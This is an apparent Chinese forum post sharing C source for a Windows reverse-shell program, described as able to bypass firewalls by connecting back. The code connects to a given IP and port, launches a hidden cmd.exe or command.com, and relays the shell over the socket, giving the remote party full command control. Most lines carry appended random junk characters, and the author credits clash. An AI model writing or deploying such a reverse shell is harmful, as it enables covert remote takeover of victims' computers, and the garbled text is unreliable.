这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 d5 7i)=
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/* ============================== a^d8I
Rebound port in Windows NT :j }fC8'
By wind,2006/7 R:Q0=PzDi#
===============================*/ L2Pujk
#include uvP2Wgt
#include 6(d }W2GP
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#pragma comment(lib,"wsock32.lib") >9e(.6&2XZ
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void OutputShell(); =L;] ;i
SOCKET sClient; A+J*e
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; _BdE<
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void main(int argc,char **argv) r$Co0!.
{ +5VLw
WSADATA stWsaData; QTX8
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int nRet; ^sN (
SOCKADDR_IN stSaiClient,stSaiServer; U8qtwA9t
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if(argc != 3) ivDGZI9
{ M])dJ9&e
printf("Useage:\n\rRebound DestIP DestPort\n"); FIxFnh3~
return; ]I3!fEAWR
} ,C%eBna4Iq
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WSAStartup(MAKEWORD(2,2),&stWsaData); < -W*$?^
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^j-3av=
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stSaiClient.sin_family = AF_INET; ^WBuMCe
stSaiClient.sin_port = htons(0); Z87_ #5
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 5p.rwNE
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) otggN:^Qw
{ [kE."#
printf("Bind Socket Failed!\n"); gUyR_5q)8l
return; !,V{zTR
} 5waKI?4F
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stSaiServer.sin_family = AF_INET; \+aC"#+0
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 5onm]V]
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2^i(gaXUQ
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) y
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{ AL>$HB$
printf("Connect Error!"); Jgnhn>dHe
return; o sKKt?^?
} a!O0,y
OutputShell(); Q0EiEX)
} ~ vqa7~}m
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void OutputShell() 4Y[1aQ(%
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char szBuff[1024]; W`c'=c
SECURITY_ATTRIBUTES stSecurityAttributes; gz3pX#S
OSVERSIONINFO stOsversionInfo; {nLjY|*
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Qxj JN^Q
STARTUPINFO stStartupInfo; M(/r%-D
char *szShell; g<~Cpd
PROCESS_INFORMATION stProcessInformation; bV,}Pp+/"!
unsigned long lBytesRead; V+O"j^Z_J
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); %2v4<icvq
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); y*X_T,K8
stSecurityAttributes.lpSecurityDescriptor = 0; \L"kV!>
stSecurityAttributes.bInheritHandle = TRUE; )ZN|t?|
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); BCA&mi3q
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); fkac_X$7
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); `]%|f
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i>(e}<i
stStartupInfo.wShowWindow = SW_HIDE; wiiCd
stStartupInfo.hStdInput = hReadPipe; ti#7(^j
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; -\C!I
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GetVersionEx(&stOsversionInfo); ~c\e'≻
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switch(stOsversionInfo.dwPlatformId) t<#h$}=:Vt
{ b9!FC$^J
case 1: WYr/oRO
szShell = "command.com"; )rC6*eR
break; r(P(Rj2~
default: lv04g} W
szShell = "cmd.exe"; soQ1X@"0
break; >rf'-X4n
} |j,"Pl}il^
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ;n
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send(sClient,szMsg,77,0); :\|SQKD
while(1) 9E6_]8rl
{ `E>1>'
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Ig
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if(lBytesRead) RNe^;
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{ 76`8=!]R
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); }9FSO9*&}
send(sClient,szBuff,lBytesRead,0); .nVa[B|.
} BBev<
else T
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{ U[ 0=L`0e
lBytesRead=recv(sClient,szBuff,1024,0); S Em Q@1
if(lBytesRead<=0) break; bJX)$G
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); J|qZ+A[z
} ax<?GjpM
} LA}Syt\F
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return; |EJD3&
}